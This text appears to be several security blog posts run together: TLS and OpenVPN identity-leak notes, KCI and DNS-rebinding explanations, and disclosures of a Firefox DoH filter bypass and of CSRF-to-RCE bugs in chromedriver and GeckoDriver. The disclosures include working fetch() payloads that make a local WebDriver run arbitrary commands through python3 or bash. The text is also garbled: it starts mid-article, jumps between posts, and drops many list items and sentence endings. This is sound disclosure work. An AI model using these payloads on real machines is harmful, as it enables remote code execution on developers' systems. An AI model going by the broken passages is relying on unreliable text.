\n\n [ TLS | IP ]\n[ TLS | IP or Eth. ] [ EAP-TLS | SNAP ] [ TLS ] [ TLS | HTTP3 ]\n[ OpenVPN ] [ EAP | LLC ] [ EAP-TLS ] [ QUIC ]\n[ TCP or UDP ] [ EAPOL | CCMP ] [ EAP | IP ] [ UDP ]\n[ IP ] [ Wifi ] [ PPP ] [ IP ]\n OpenVPN WPA2-EAP PPP HTTPS\n with with (HTTP/3)\n EAP-TLS EAP-TLS\n\n
Some EAP methods\n(EAP-TTLS,\nPEAP and\nTEAP)\nuse TLS to secure (\u201ctunnel\u201d) the traffic of another authentication method.\nAs before, the secrets established in the TLS handshake\nmay be used to derive exported key material\nfor other protocols (eg. in WPA-EAP).
\n\n [ ... ]\n [ EAP ] [ PAP ] [ CHAP ] [ MS-CHAP ] [ ... ] [ ... ]\n [ AVP ] [ AVP ] [ AVP ] [ AVP ] [ EAP ] [ EAP ]\n[ mTLS ] [ TLS ] [ TLS ] [ TLS ] [ TLS ] [ TLS ] [ TLS ]\n[ EAP-TLS ] [ EAP-TTLS ] [ EAP-TTLS ] [ EAP-TTLS ] [ EAP-TTLS ] [ PEAP ] [ TEAP ]\n[ EAP ] [ EAP ] [ EAP ] [ EAP ] [ EAP ] [ EAP ] [ EAP ]\n[ ... ] [ ... ] [ ... ] [ ... ] [ ... ] [ ... ] [ ... ]\n EAP-TLS EAP PAP CHAP MS-CHAP EAP EAP\n over over over over over over\n EAP-TTLS EAP-TTLS EAP-TTLS EAP-TLS PEAP TEAP\n\n
See the EAP-TTLS AVP Usage subregistry\nfor list of authentication methods compatible with EAP-TTLS.
\nIn TLS v1.2, the client sends its certificate chain before the cipher change.\nAs a consequence, the certificate chain is sent in cleartext\n(unless it is sent as part of the TLS renegotiation).\nFor example, some VPN solutions (eg. OpenvPN)\nprovide support for mTLS based client authentication.\nIn this case, the identity of the client might be leaked\nin cleartext.
\nThis can be seen in the following screenshot\nof Wireshark inspecting\nan OpenVPN handshake.
\n\nText version:
\n\nFrame 15: 1264 bytes on wire (10112 bits), 1264 bytes captured (10112 bits)\nEthernet II, Src: 00:00:00_00:00:00 (00:00:00:00:00:00), Dst: 00:00:00_00:00:00 (00:00:00:00:00:00)\nInternet Protocol Version 4, Src: 127.0.0.1, Dst: 127.0.0.1\nTransmission Control Protocol, Src Port: 55934, Dst Port: 1194, Seq: 259, Ack: 1596, Len: 1198\nOpenVPN Protocol\nTransport Layer Security\n TLSv1.2 Record Layer: Handshake Protocol: Certificate\n Content Type: Handshake (22)\n Version: TLS 1.2 (0x0303)\n Length: 999\n Handshake Protocol: Certificate\n Handshake Type: Certificate (11)\n Length: 995\n Certificates Length: 992\n Certificates (992 bytes)\n Certificate Length: 989\n Certificate: 308203d9308202c1a003020102021414e338472bac1eece342df5fc60e83779784a25830\u2026 (pkcs-9-at-emailAddress=john.doe@example.com,id-at-commonName=Jon Doe,id-at-organizationName=Internet Widgits Pty Ltd,id-at-stateOrProvinceName=Some-S\n signedCertificate\n version: v3 (2)\n serialNumber: 0x14e338472bac1eece342df5fc60e83779784a258\n signature (sha256WithRSAEncryption)\n issuer: rdnSequence (0)\n validity\n subject: rdnSequence (0)\n rdnSequence: 5 items (pkcs-9-at-emailAddress=john.doe@example.com,id-at-commonName=Jon Doe,id-at-organizationName=Internet Widgits Pty Ltd,id-at-stateOrProvinceName=Some-State,id-at-countryName=AU)\n RDNSequence item: 1 item (id-at-countryName=AU)\n RDNSequence item: 1 item (id-at-stateOrProvinceName=Some-State)\n RDNSequence item: 1 item (id-at-organizationName=Internet Widgits Pty Ltd)\n RDNSequence item: 1 item (id-at-commonName=Jon Doe)\n RDNSequence item: 1 item (pkcs-9-at-emailAddress=john.doe@example.com)\n subjectPublicKeyInfo\n extensions: 3 items\n algorithmIdentifier (sha256WithRSAEncryption)\n Padding: 0\n encrypted: 342782ae2f94bf0123ade8d88117423e9bfeaefe69f9f93fc9f6a2104d4595f7bc47f6a3\u2026\n TLSv1.2 Record Layer: Handshake Protocol: Client Key Exchange\n\n\n
This is especially problematic if the OpenVPN tunnel is intended to protect your privacy.\nYou probably should not include personally identifiable information\nin the client certificate\nif you are using TLS v1.2 or below.
\nNote: replication
\nThe capture was generated with the following commands:
\nopenssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout client.key -out client.crt\nopenssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout client.key -out client.crt\nopenssl dhparam -out dh2048.pem 2048\nsudo openvpn --mode server --port 1194 --local 127.0.0.1 --dev tun0 \\\n --proto tcp-server --tls-server --ca client.crt --cert server.crt \\\n --dh dh2048.pem --key server.key \\\n --tls-version-min 1.2 --tls-version-max 1.2 --verify-client-cert require\nsudo tcpdump \"tcp port 1194\" -w openvpn-tls12.pcap -i lo\nsudo openvpn --remote 127.0.0.1 1194 tcp-client --dev tun1 --client \\\n --ca server.crt --cert client.crt --key client.key \\\n --tls-version-min 1.2 --tls-version-max 1.2\nwireshark openvpn-tls12.pcap\n
\nThe OpenVPN version used was:
\n\nOpenVPN 2.4.7 x86_64-pc-linux-gnu [SSL (OpenSSL)] [LZO] [LZ4] [EPOLL] [PKCS11] [MH/PKTINFO] [AEAD] built on Apr 28 2021\nlibrary versions: OpenSSL 1.1.1d 10 Sep 2019, LZO 2.10\n\n
Note: client identity in TLS v1.3
\nTLS v1.3 fixes this defect:\nthe Certificate
messages are sent encrypted (after an ephemeral DH key exchange)\nand after the server has been authenticated.
However, a meddler-in-the-middle (MITM) could attempt to downgrade the handshake in TLS v1.2 mode\nin order to make the client disclose its identity:\nthis is because TLS downgrade can only be detected in the Finished
message\nafter the Certificate
messages are sent in TLS v1.2.\nIn order to protect from this downgrade attack,\nwe can either:
(EC)DHE_*
key exchanges).Note: possible mitigations for OpenVPN
\nFor OpenVPN, this can be mitigated by:
\ntls-crypt
or the tls-crypt-v2
option.The tls-crypt
and tls-crypt-v2
options\nare OpenVPN specific features introduced in OpenPVN 2.5:
\n\n\n
--tls-crypt keyfile
Encrypt and authenticate all control channel packets with the key\nfrom keyfile. (See --tls-auth for more background.)
\nEncrypting (and authenticating) control channel packets:
\n\n
\n- provides more privacy by hiding the certificate used for the TLS connection,
\n- makes it harder to identify OpenVPN traffic as such,
\n- provides \"poor-man's\" post-quantum security, against attackers\nwho will never know the pre-shared key (i.e. no forward secrecy).
\n[\u2026]
\nAll peers use the same --tls-crypt pre-shared group key\nto authenticate and encrypt control channel messages. [\u2026]
\n[\u2026]
\nFor large setups or setups where clients are not trusted,\nconsider using --tls-crypt-v2 instead.\nThat uses per-client unique keys, and thereby\nimproves the bounds to 'rotate a client key at least once per 8000 years'.
\n
We have seen that authentication based on static DH\nis vulnerable to Key Compromise Impersonation (KCI).\nThe KCI TLS vulnerability (CVE-2015-8960)\nis a practical vulnerability of this.\nIf an attacker tricks the user into installing a client certificate\n(and associated private key) chosen by the attacker\ninto his web browser,\nthe attacker can impersonate any web site which uses a compatible certificate (in the same DH group)\neven if this web site does not support static DH (and client authentication) at all.
\nThe attack may go as follows:
\nhttps://example.com
)\nwhich has a certificate with a EC public key which can be used for ECDH\n(either no key usage extension or keyAgreement in the key usage extension);ECDH_*
key exchange);https://example.com
(containing the server ECDSA signing key);The following conditions must be met for this attack\n(see the KCI TLS slides):
\nkeyAgreement
usage.Mitigations:
\ndigitalSignature
\nkey usage\n(but not keyAgreement
)\nin certificates which are expected to be used for signing.Note: TLS v1.3
\nTLS v1.3 removed support for static DH.
\nAn interesting vulnerability,\nuses session resumption for DNS-rebinding attacks\nagainst certain HTTPS services.
\nTLS-based services can be protected against DNS-rebinding by enforcing the\nvalue of the TLS-level server name (SNI extension).\nApplication-layer server name (eg. the Host
HTTP header)\ncan be enforced as well for the same effect.
Even if neither TLS-level server name nor application-layer server name is enforced,\nDNS-rebinding attacks are normally prevented by TLS:\nthis is because,\nwhen the client tries to establish a TLS connection to the target.example
server\ninstead of attacker.example
,\nthe client expects a certificate chain for attacker.example
\nbut receives a certificate chain for target.example
\nit should reject the TLS connection.
However, the attacker can manage to avoid server certificates by using session resumption.\nIn order for this to work, the attacker has to:
\nThis can easily be done using the RSA transport key exchange algorithm\nas explained in the following diagram.
\n\nThe consequence of this attack is that the attacker\ncan issue arbitrary requests to the target website\nfrom the client and access the responses.\nThis can be useful for several reasons:
\nPrerequisites:
\nSeveral workarounds have been implemented in different implementations.\nThis should be fixed by using the\nextended master secret\nextension if it is implemented as specified:
\n\n\nIf the original session did not use the \"extended_master_secret\"\nextension but the new ClientHello contains the extension, then the\nserver MUST NOT perform the abbreviated handshake.
\n
This is fixed in TLS v1.3.
\nWithout going into details,\nthe validation of the certificate chain may include:
\nnotBefore
, notAfter
);SubjectAltName
extension);digitalSignature
)signed_certificate_timestamp
TLS extension,\nin the SignedCertificateTimestampList
X.509/OCSP extension)\nand validating them (for certificate transparency).RFCs:
\nRegistries:
\n\nMisc:
\nWhile making this post I realized that my nginx\nwas still configured to only support TLS v1.2. \u21a9\ufe0e
\nAs TLS compression is dangerous\n(see the CRIME vulnerability),\nonly the null
compression (no compression) is now usually enabled.\nCompression at the TLS level\nis forbidden in HTTP/2\nand has been removed in TLS v1.3. \u21a9\ufe0e
In TLS v1.3, the key agreement method is not part of the cipher suite anymore.\nIn my example, Firefox advertised as well support for the following TLS v1.3 cipher suites:\nTLS_AES_128_GCM_SHA256
,\nTLS_CHACHA20_POLY1305_SHA256
and\nTLS_AES_256_GCM_SHA384
. \u21a9\ufe0e
Unless client authentication is done in a TLS renegotiation\n(i.e. a TLS handshake after the initial TLS handsake).\nHowever, TLS renegotiation can be considered to be deprecated. \u21a9\ufe0e
\nWhen used with QUIC,\nthis is the application protocol used over QUIC, not over TLS. \u21a9\ufe0e
\nThe server domain name is indicated in the subject alternative names\n(SAN) X.509 extension. \u21a9\ufe0e
\nIn contrast, in static ECDH\n(such as with TLS_ECDH_RSA_WITH_AES_128_GCM_SHA256
),\nthe server always uses the same ECDH key pair\n(which is included in its certificate).\nThe downside of this approach is that it does not provide\nforward secrecy with respect to the static ECDH key. \u21a9\ufe0e
Export cipher suites\nwere cipher suites defined for TLS 1.0 and below\nand were designed to be weak in order to be legally exported\nfrom the USA. \ud83d\ude05 \u21a9\ufe0e
\nThe TLS pseudo random function (PRF) is used\nas a MAC.\nThis is safe because PRFs can be used as MACs. \u21a9\ufe0e
\nIn contrast to ECDSA which is a signing algorithm only,\nRSA can be used either for public-key signature and or for public-key encryption.\nWhen used in DHE_RSA
or ECDHE_RSA
mode, the server certificate\n(containing the RSA public key)\nmust include keyEncipherment
\nin the key usage extension.\nWhen used in RSA
, the server certificate (containing the RSA public key),\nmust include digitalSignature
in the key usage extension. \u21a9\ufe0e
Note that TLS-level encryption is not enabled when the NewSessionTicket
message is sent.\nIn particular, it is (obviously) very important that the master secret\nis not disclosed to eavesdroppers. \u21a9\ufe0e
Client authentication is often done at the application protocol layer instead. \u21a9\ufe0e
\nWhen using TLS v1.2,\nSHA-256 is used instead of weaker hash algorithms for the PRF. \u21a9\ufe0e
\nHowever, QUIC only supports TLS v1.3 or above. \u21a9\ufe0e
\nI found a cross-origin/same-site request forgery vulnerability\nin chromedriver.\nIt was rejected (won't fix) because it is only\npossible to trigger this from the cross-origin/same-site and not cross-site.\nIn practice, it means it is really only possible to trigger this from another\nlocalhost-bound web application.
\nchromedriver is vulnerable to a cross-origin/same-site request forgery vulnerability.\nThis vulnerability can be exploited for remote\ncode execution (RCE) as demonstrated by this exploit:
\nfetch(\"http://localhost:9515/session\", {\n method: \"POST\",\n mode: 'no-cors',\n headers: {\n 'Content-Type': 'text/plain'\n },\n body: JSON.stringify({\n \"capabilities\": {\n \"alwaysMatch\": {\n \"goog:chromeOptions\": {\n \"binary\": \"/usr/bin/python3\",\n \"args\": [\"-cimport os;os.system('xterm -e nyancat')\"]\n }\n }\n }\n }),\n});\n
\nI have tested this vulnerability on:
\nBy default, chromedriver listens on http://localhost:9515
.\nThis prevents other machines from directly attacking the chromedriver\ninstance. However chromedriver is vulnerable to cross-origin/same-site request forgery\nattacks as demonstrated by:
fetch(\"http://localhost:9515/session\", {\n method: \"POST\",\n mode: 'no-cors',\n headers: {\n 'Content-Type': 'text/plain'\n },\n body: JSON.stringify({\n \"capabilities\": {\n \"alwaysMatch\": {}\n }\n };\n});\n
\nWhen executed by the user's browser from another origin\non the same site, this code spawns a new Chromium instance.
\nThe scope of this attack might seem limited because the attacker cannot\neasily interact with the created session. Acting on the session through CSRF\nis possible if the session ID is known but it is not easily possible for the\nattacker to find the session ID:
\nIt is however possible for the attacker to execute arbitrary commands\nwith the session creation request.
\nThe following properties of goog:chromeOptions
are of particular interest:
binary
lets the attacker specify the path of the Chromium binary to execute;args
lets the attacker specify a list of arguments to pass to this command.python3
can be used to execute arbitrary system commands\nas demonstrated by the following exploit\nwhich executes the xterm -e nyancat
system command:
fetch(\"http://localhost:9515/session\", {\n method: \"POST\",\n mode: 'no-cors',\n headers: {\n 'Content-Type': 'text/plain'\n },\n body: JSON.stringify({\n \"capabilities\": {\n \"alwaysMatch\": {\n \"goog:chromeOptions\": {\n \"binary\": \"/usr/bin/python3\",\n \"args\": [\"-cimport os;os.system('xterm -e nyancat')\"]\n }\n }\n }\n }),\n});\n
\nUpdate 2023-06-08:\nanother options it to use\nchrome --gpu-launcher=\"command\"
.
Any frontend code on a localhost-bound application can get RCE\nthrough ChromeDriver:\nwhen ChromeDriver is running,\na (reflected) XSS vulnerability on another localhost-bound application\ncould be used to trigger RCE.
\nThis is is possible because chromedriver accepts requests\nwith any Content-Type
. Another origin can make POST\nrequests to chromedriver using the following content-types:\napplication/x-www-form-urlencoded
,\nmultipart/form-data
, text/plain
.
chromedriver could fix this vulnerability by rejecting these\ncontent-types. chromedriver could even reject all requests\nwhich do not have a JSON content-type. This seems to be a\nviolation of the WebDriver specification\nwhich does not mandate a JSON content-type for WebDriver POST requests.
\nIt looks like this is a\ndefect of the WebDriver specification\nwhich encourages CSRF attacks on WebDriver servers\nI have reported a similar issue\non another GeckoDriver.\nThe specification should explicitly allow a server-side\nimplementation of the WebDriver to reject dangerous\ncontent-types and should require the client-side to\nuse a JSON content-type. Additionnaly, the security\nsection of the WebDriver specification should probably\nmention the risks of CSRF attacks.
\nAn new command-line flag could be added to chromedriver in\norder to require some form of HTTP authentication.\nWhen enabled, this would prevent CSRF attacks as well as\nattacks from other users on the same host.
\nchromedriver could receive a new option to listen on a PF_LOCAL
\nsocket. These sockets are normally not accessible by CSRF.\nThis could additionnaly be used to prevent other users\non the same machine from talking to the chromedriver instance.
Update 2022-02-13:\nI turns out that a CSRF vulnerability on chromederiver\nhad been reported a few months before.\nThe fix\nchecks the Origin
or Host
and only allow some localhost origins\n(localhost, 127.0.0.1, etc.).
bool RequestIsSafeToServe(const net::HttpServerRequestInfo& info,\n bool allow_remote,\n const std::vector<net::IPAddress>& whitelisted_ips) {\n // To guard against browser-originating cross-site requests, when host header\n // and/or origin header are present, serve only those coming from localhost\n // or from an explicitly whitelisted ip.\n std::string origin_header = info.GetHeaderValue(\"origin\");\n bool local_origin = false;\n if (!origin_header.empty()) {\n GURL url = GURL(origin_header);\n local_origin = net::IsLocalhost(url);\n if (!local_origin) {\n if (!allow_remote) {\n LOG(ERROR)\n << \"Remote connections not allowed; rejecting request with origin: \"\n << origin_header;\n return false;\n }\n if (!whitelisted_ips.empty()) {\n net::IPAddress address = net::IPAddress();\n if (!ParseURLHostnameToAddress(origin_header, &address)) {\n LOG(ERROR) << \"Unable to parse origin to IPAddress: \"\n << origin_header;\n return false;\n }\n if (!base::Contains(whitelisted_ips, address)) {\n LOG(ERROR) << \"Rejecting request with origin: \" << origin_header;\n return false;\n }\n }\n }\n }\n // TODO https://crbug.com/chromedriver/3389\n // When remote access is allowed and origin is not specified,\n // we should confirm that host is current machines ip or hostname\n if (local_origin || !allow_remote) {\n // when origin is localhost host must be localhost\n // when origin is not set, and no remote access, host must be localhost\n std::string host_header = info.GetHeaderValue(\"host\");\n if (!host_header.empty()) {\n GURL url = GURL(\"http://\" + host_header);\n if (!net::IsLocalhost(url)) {\n LOG(ERROR) << \"Rejecting request with host: \" << host_header\n << \". origin is \" << origin_header;\n return false;\n }\n }\n }\n return true;\n}\n
\nA Cross-Site Request Forgery (CSRF) vulnerability I found in\nGeckoDriver which could be used to execute arbitrary shell commands.\nCVE-2020-15660\nhas been assigned to this vulnerability.\nThis was fixed by GeckoDriver v0.27.0\nin 2020-07-27.\nThis is bug #1648964.
\nGeckoDriver v0.26.0 and below is vulnerable to CSRF.\nWhile no WebDriver session is running,\nthis can be used to\nexecute arbitrary system commands (remote command execution)\nas demonstrated by this exploit:
\nfetch(\"http://localhost:4444/session\", {\n method: \"POST\",\n mode: 'no-cors',\n headers: {\n 'Content-Type': 'text/plain'\n },\n body: JSON.stringify({\n \"capabilities\": {\n \"alwaysMatch\": {\n \"moz:firefoxOptions\": {\n \"binary\": \"/bin/bash\",\n \"args\": [\"posix\", \"+n\", \"-c\", 'bash -c \"$1\"', \"bash\", \"xterm -e nyancat\"]\n }\n }\n }\n }),\n});\n
\nI have tested this vulnerability on:
\nBy default, GeckoDriver listens on http://localhost:4444
.\nThis prevents other machines from directly attacking the GeckoDriver\ninstance. However GeckoDriver is vulnerable to CSRF attacks as demonstrated by:
fetch(\"http://localhost:4444/session\", {\n method: \"POST\",\n mode: 'no-cors',\n headers: {\n 'Content-Type': 'text/plain'\n },\n body: JSON.stringify({\n \"capabilities\": {\n \"alwaysMatch\": {}\n }\n };\n});\n
\nWhen executed by the user's browser from another origin, this code\nspawns a new Firefox instance.\nThis must happen while no WebDriver session is running in GeckoDriver\nas GeckoDriver rejects the creation of a second session.
\nThe scope of this attack might seem limited because the attacker cannot\neasily interact with the created session. Acting on the session through CSRF\nis possible if the session ID is known but it is not easily possible for the\nattacker to find the session ID:
\nIt is however possible for the attacker to execute arbitrary commands\nwith the session creation request.
\nThe following properties of moz:firefoxOptions
\nare of particular interest:
binary
lets the attacker specify the path of the Firefox binary to execute;args
lets the attacker specify a list of arguments to pass to this command;profile
lets the attacker specify a Firefox profile directory (which could be used\nto load interesting extensions in the browser);prefs
lets the attacker set Firefox preferences;env
lets the attacker set environment variables.The actual command executed by GeckoDriver to create a browser is:
\n\"$binary\" -marionette \"$args[@]\" -foreground -no-remote -profile \"$profile\"\n
\nIn order to execute arbitrary command,\nwe need to find a program which accepts\nan initial -marionette
argument and execute commands taken from $args
\nor from environment variables.
bash
can used to execute arbitrary system commands\nas demonstrated by the following exploit\nwhich executes the xterm -e nyancat
system command:
fetch(\"http://localhost:4444/session\", {\n method: \"POST\",\n mode: 'no-cors',\n headers: {\n 'Content-Type': 'text/plain'\n },\n body: JSON.stringify({\n \"capabilities\": {\n \"alwaysMatch\": {\n \"moz:firefoxOptions\": {\n \"binary\": \"/bin/bash\",\n \"args\": [\"posix\", \"+n\", \"-c\", 'bash -c \"$1\"', \"bash\", \"xterm -e nyancat\"]\n }\n }\n }\n }),\n});\n
\nThe command executed by GeckoDriver is:
\nbash -marionnette posix +n -c 'bash -c \"$1\"' bash \"xterm -e nyancat\" \\\n -foreground -no-remote -profile \"$profile\"\n
\nThe initial -marionette
argument is interpreted as a serie of flags.\nThe only problematic ones are:
-r
flag asks for a restricted shell. This might be problematic\nbecause it adds a number of restriction to the commands allowed.\nIt is however easy to escape from this restricted shell by calling a new\nshell instance as is done in this example.-n
flag asks to only parse the commands instead of executing them.\nThis could be problematic but we can actually reverse it with +n
.-o
flags expects an option in the following argument.\nIn this example, we set the posix
option.CSRF is possible because GeckoDriver accepts requests\nwith any Content-Type
. Another origin can make POST\nrequests to GeckoDriver using the following content-types:\napplication/x-www-form-urlencoded
,\nmultipart/form-data
, text/plain
.
GeckoDriver could fix this vulnerability by rejecting these\ncontent-types. GeckoDriver could even reject all requests\nwhich do not have a JSON content-type. This seems to be a\nviolation of the WebDriver specification which does not\nmandate a JSON content-type for WebDriver POST requests.
\nIt looks like this is a\ndefect of the WebDriver specification\nwhich encourages CSRF attacks on WebDriver servers.\nI have reportes a similar issue\non another whromedriver\nThe specification should explicitly allow a server-side\nimplementation of the WebDriver to reject dangerous\ncontent-types and should require the client-side to\nuse a JSON content-type. Additionnaly, the security\nsection of the WebDriver specification should probably\nmention the risks of CSRF attacks.
\nAn new command-line flag could be added to GeckoDriver in\norder to require some form of HTTP authentication.\nWhen enabled, this would prevent CSRF attacks as well as\nattacks from other users on the same host.
\nGeckoDriver could receive a new option to listen on a PF_LOCAL
\nsocket. These sockets are normally not accessible by CSRF.\nThis could additionnaly be used to prevent other users\non the same machine from talking to the GeckoDriver instance.
Several changes where implemented to harden GeckoDriver\nagainst this kind of attacks.
\nOn of these changes include a verification of the Content-Type
header:
if method == Method::POST {\n // Disallow CORS-safelisted request headers\n // c.f. https://fetch.spec.whatwg.org/#cors-safelisted-request-header\n let content_type = content_type_header\n .as_ref()\n .map(|x| x.find(';').and_then(|idx| x.get(0..idx)).unwrap_or(x))\n .map(|x| x.trim())\n .map(|x| x.to_lowercase());\n match content_type.as_ref().map(|x| x.as_ref()) {\n Some(\"application/x-www-form-urlencoded\")\n | Some(\"multipart/form-data\")\n | Some(\"text/plain\") => {\n return warp::reply::with_status(\n \"Invalid content-type\".to_string(),\n StatusCode::BAD_REQUEST,\n )\n }\n Some(_) | None => {}\n }\n
\nIn addition, the Origin
header is checked as well:
if let Some(origin) = origin_header {\n let mut valid_host = false;\n let host_url = Url::parse(&origin).ok();\n let host = host_url.as_ref().and_then(|x| x.host().to_owned());\n if let Some(host) = host {\n valid_host = match host {\n Host::Domain(\"localhost\") => true,\n Host::Domain(_) => false,\n Host::Ipv4(x) => address.is_ipv4() && x == address.ip(),\n Host::Ipv6(x) => address.is_ipv6() && x == address.ip(),\n };\n }\n if !valid_host {\n return warp::reply::with_status(\n \"Invalid origin\".to_string(),\n StatusCode::BAD_REQUEST,\n );\n }\n}\n
\nGeckoDriver now passes the --marionette
agument instead of the -marionette
argument.\nMost programs should reject this argument.
In addition, Firefox now checks that ths program specified in\nmoz:firefoxOptions
/binary
is actually a Firefox instance.
I found that\nthe filtering of private IPv4 addresses\nin the DNS-over-HTTPS (DoH) implementation of Firefox could by bypassed.\nThis is CVE-2020-26961\nand Mozilla bug 1672528.\nIt has been fixed in Firefox 83,\nFirefox ESR 78.5\nand Thunderbird 78.5.
\nWhen using Firefox builtin support for DoH[1],\nprivate IPv4 addresses (RFC1918)\nare rejected (ignored) by default (network.trr.allow-rfc1918=false
).\nThis protection can prevent some form of browser-based attacks of machines located\non the LAN (DNS rebinding attacks).\nI found this protection could by bypassed\nby using a IPv4-mapped IPv6 address\n(eg. ::ffff:192.168.1.254).
Wording from the CVE entry:
\n\n\nWhen DNS over HTTPS is in use, it intentionally filters RFC1918 and related IP ranges from the responses\nas these do not make sense coming from a DoH resolver. However when an IPv4 address\nwas mapped through IPv6, these addresses were erroneously let through,\nleading to a potential DNS Rebinding attack.\nThis vulnerability affects Firefox < 83, Firefox ESR < 78.5, and Thunderbird < 78.5.
\n
DNS rebinding is a technique which exploits the user browser for attacking other services.\nIt is especially powerful against many LAN-only (or localhost-only)\nservices such as routers,\nsmart TVs, etc.\nThese services are often designed under the assumption that they are\nonly reachable by local machines.\nThey often (sometimes for convenience)\nexpose services without authentication\nor lack proper security.
\nSome network operators block private IPv4 addresses\nin DNS responses coming of of their recursive resolvers\nas a protection against DNS rebinding attacks.\nWhen Firefox uses its own DoH implementation,\nany DNS rebinding protection implemented by the network operator\n(or by the system) would be bypassed.\nHowever, Firefox implements its own DNS-rebinding protection\nin this case (by default i.e. when network.trr.allow-rfc1918=false
).
As the DNS-rebinding protection implemented in Firefox DoH could easily\nbe bypassed, enabling DoH in Firefox could open the local\nservices to DNS-rebinding attacks.
\nIn order to test this, I have created some domaine name records:
\nwat4 A 192.168.1.254\nwat6 AAAA ::ffff:192.168.1.254\n
\nLet's check them on the command-line interface:
\ndig @1.1.1.1 +short A wat4.urdhr.fr\n# => 192.168.1.254\ndig @1.1.1.1 +short AAAA wat6.urdhr.fr\n# => ::ffff:192.168.1.254\n
\nWe are going to configure Firefox to use a DoH resolver (in about:config
):
# Force DoH:\nnetwork.trr.mode=5\n# Choose a specific DoH resolver:\nnetwork.trr.custom_uri=https://cloudflare-dns.com/dns-query\n# Disabled private IPv4 addresses from DoH (this is the default):\nnetwork.trr.allow-rfc1918=false\n
\nLe'ts first check that the DoH resolver we are going to use actually\nresolves our domains.\nWe can use the dnspython library\nfor this:
\nimport dns.query\nimport dns.message\nresolver = \"https://cloudflare-dns.com/dns-query\"\ndns.query.https(dns.message.make_query(\"wat4.urdhr.fr\", \"A\"), resolver).answer\n# => [<DNS wat4.urdhr.fr. IN A RRset: [<192.168.1.254>]>]\ndns.query.https(dns.message.make_query(\"wat6.urdhr.fr\", \"AAAA\"), resolver).answer\n# => [<DNS wat6.urdhr.fr. IN AAAA RRset: [<::ffff:192.168.1.254>]>]\n
\nNow let's try using Firefox:
\nhttp://wat4.urdhr.fr
is not reachable\nbecause the private IP address is rejected by Firefox (network.trr.allow-rfc1918=false
);http://wat6.urdhr.fr
is reachable\n(assuming a web server is running on this IP address and port).We have been able to bypass the filtering of private IPv4 addresses by\nusing a private IPv4-mapped IPv6 address.
\nThe process is as follow:
\nwat6.urdhr.fr
domain name is resolved to IPv6 ffff:192.168.1.254;NetAddr::IsIPAddrLocal()
;AF_INET6
address in DOHresp::Add()
;AF_INET6
address is passed to the kernel;The DOHresp::Add()
method is responsible for building a NetAddr
object from DNS bytes:
nsresult DOHresp::Add(uint32_t TTL, unsigned char* dns, unsigned int index,\n uint16_t len, bool aLocalAllowed) {\n NetAddr addr;\n if (4 == len) {\n // IPv4\n addr.inet.family = AF_INET;\n addr.inet.port = 0; // unknown\n addr.inet.ip = ntohl(get32bit(dns, index));\n } else if (16 == len) {\n // IPv6\n addr.inet6.family = AF_INET6;\n addr.inet6.port = 0; // unknown\n addr.inet6.flowinfo = 0; // unknown\n addr.inet6.scope_id = 0; // unknown\n for (int i = 0; i < 16; i++, index++) {\n addr.inet6.ip.u8[i] = dns[index];\n }\n } else {\n return NS_ERROR_UNEXPECTED;\n }\n\n if (addr.IsIPAddrLocal() && !aLocalAllowed) {\n\n return NS_ERROR_FAILURE;\n }\n\n // While the DNS packet might return individual TTLs for each address,\n // we can only return one value in the AddrInfo class so pick the\n // lowest number.\n if (mTtl < TTL) {\n mTtl = TTL;\n }\n\n if (LOG_ENABLED()) {\n char buf[128];\n addr.ToStringBuffer(buf, sizeof(buf));\n LOG((\"DOHresp:Add %s\\n\", buf));\n }\n mAddresses.AppendElement(addr);\n return NS_OK;\n}\n
\nThe aLocalAllowed
parameter of this method is controlled by the\nnetwork.trr.allow-rfc1918
configuration.
The important snippet is:
\nif (addr.IsIPAddrLocal() && !aLocalAllowed) {\n return NS_ERROR_FAILURE;\n}\n
\nThe NetAddr::IsIPAddrLocal()
method checks whether the IP address is a private one:
bool NetAddr::IsIPAddrLocal() const {\n const NetAddr* addr = this;\n\n // IPv4 RFC1918 and Link Local Addresses.\n if (addr->raw.family == AF_INET) {\n uint32_t addr32 = ntohl(addr->inet.ip);\n if (addr32 >> 24 == 0x0A || // 10/8 prefix (RFC 1918).\n addr32 >> 20 == 0xAC1 || // 172.16/12 prefix (RFC 1918).\n addr32 >> 16 == 0xC0A8 || // 192.168/16 prefix (RFC 1918).\n addr32 >> 16 == 0xA9FE) { // 169.254/16 prefix (Link Local).\n return true;\n }\n }\n // IPv6 Unique and Link Local Addresses.\n if (addr->raw.family == AF_INET6) {\n uint16_t addr16 = ntohs(addr->inet6.ip.u16[0]);\n if (addr16 >> 9 == 0xfc >> 1 || // fc00::/7 Unique Local Address.\n addr16 >> 6 == 0xfe80 >> 6) { // fe80::/10 Link Local Address.\n return true;\n }\n }\n // Not an IPv4/6 local address.\n return false;\n}\n
\nWe see that this method returns false
for IPv4-mapped IPv6 addresses.\nThe DOHresp::Add()
method then appends this IP address to the list of\navailable IP addresses.
This bug was fixed with:
\nstatic bool isLocalIPv4(uint32_t networkEndianIP) {\n uint32_t addr32 = ntohl(networkEndianIP);\n if (addr32 >> 24 == 0x0A || // 10/8 prefix (RFC 1918).\n addr32 >> 20 == 0xAC1 || // 172.16/12 prefix (RFC 1918).\n addr32 >> 16 == 0xC0A8 || // 192.168/16 prefix (RFC 1918).\n addr32 >> 16 == 0xA9FE) { // 169.254/16 prefix (Link Local).\n return true;\n }\n return false;\n}\n\nbool NetAddr::IsIPAddrLocal() const {\n const NetAddr* addr = this;\n\n // IPv4 RFC1918 and Link Local Addresses.\n if (addr->raw.family == AF_INET) {\n return isLocalIPv4(addr->inet.ip);\n }\n // IPv6 Unique and Link Local Addresses.\n // or mapped IPv4 addresses\n if (addr->raw.family == AF_INET6) {\n uint16_t addr16 = ntohs(addr->inet6.ip.u16[0]);\n if (addr16 >> 9 == 0xfc >> 1 || // fc00::/7 Unique Local Address.\n addr16 >> 6 == 0xfe80 >> 6) { // fe80::/10 Link Local Address.\n return true;\n }\n if (IPv6ADDR_IS_V4MAPPED(&addr->inet6.ip)) {\n return isLocalIPv4(IPv6ADDR_V4MAPPED_TO_IPADDR(&addr->inet6.ip));\n }\n }\n\n // Not an IPv4/6 local address.\n return false;\n}\n
\nWhile scanning the recent CVE entries,\nI found an interesting report about a\nDNS rebinding protection bypass for FRITZ!Box,\nCVE-2020-26887.\nThe local DNS resolver of the FRITZ!Box has a protection against\nDNS rebinding attack.\nIt works by rejecting DNS responses which include private IPv4 addresses (eg. 192.168.1.254
).\nHowever, this protection could be bypassed by using a private IPv4-mapped IPv6 addresses\n(eg. ::ffff:192.168.1.254
).
